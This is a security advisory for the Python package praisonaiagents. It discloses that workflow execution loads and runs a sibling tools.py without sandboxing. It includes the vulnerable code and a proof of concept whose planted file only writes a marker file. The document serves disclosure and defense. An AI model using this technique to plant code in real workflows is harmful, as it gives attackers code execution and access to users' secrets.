PT-2026-108625 · Pypi · Praisonaiagents
Published
2026-10-08
·
Updated
2026-10-08
CVSS v3.1
7.8
High
| Vector | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Summary
An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling
tools.py to execute arbitrary Python code when the workflow is executed.Details
The vulnerability is located in the workflow structured output resolution logic.
File: src/praisonai-agents/praisonaiagents/workflows/workflows.py
Method: AgentFlow. resolve pydantic class
python
if self.file path:
workflow dir = Path(self.file path).parent
tools path = workflow dir / "tools.py"
if tools path.exists():
spec = importlib.util.spec from file location("tools", tools path)
tools module = importlib.util.module from spec(spec)
spec.loader.exec module(tools module) # Arbitrary code executionThis code is reached during step execution when a step uses a string
output pydantic:python
step output pydantic = getattr(step, ' output pydantic', None)
if step output pydantic and isinstance(step output pydantic, str):
resolved class = self. resolve pydantic class(step output pydantic)file path is set automatically by:WorkflowManager. load workflow()(used by workspace discovery)WorkflowManager.create workflow()
It can also be set manually after
load yaml():python
wf = mgr.load yaml("workflow.yaml")
wf.file path = "workflow.yaml"The
exec module() call has no sandboxing and ignores the PRAISONAI ALLOW * TOOLS environment variables used elsewhere in the project.PoC
Create the following two files in the same directory:
/tmp/attack/attack.yamlyaml
name: AttackWorkflow
steps:
- name: generate
action: "Produce structured output"
output pydantic: MaliciousModel/tmp/attack/tools.pypython
print("[RCE] Arbitrary code executed from tools.py")
import os
with open("/tmp/rce success.txt", "w") as f:
f.write(f"RCE executed by PID {os.getpid()}")
class MaliciousModel:
@classmethod
def model json schema(cls):
return {"type": "object"}Run the following Python code (adjust the path to your PraisonAI source):
python
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")
from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent
mgr = WorkflowManager()
wf = mgr.load yaml("/tmp/attack/attack.yaml")
wf.file path = "/tmp/attack/attack.yaml"
for step in wf.steps:
step.output pydantic = "MaliciousModel"
step. output pydantic = "MaliciousModel"
if not getattr(step, "agent", None):
step.agent = Agent(
name="researcher",
role="Researcher",
goal="Generate output",
instructions="Return structured data"
)
wf.start("trigger")Impact
Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.
Affected users include:
- Users of
WorkflowManager(workspace path=...), where workflow discovery automatically setsfile path. - Users of
WorkflowManager.create workflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.
During workflow execution, a string
output pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.As a result, code contained in
tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.
This behavior also bypasses the
PRAISONAI ALLOW TEMPLATE TOOLS / PRAISONAI ALLOW LOCAL TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.Fix
Protection Mechanism Failure
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonaiagents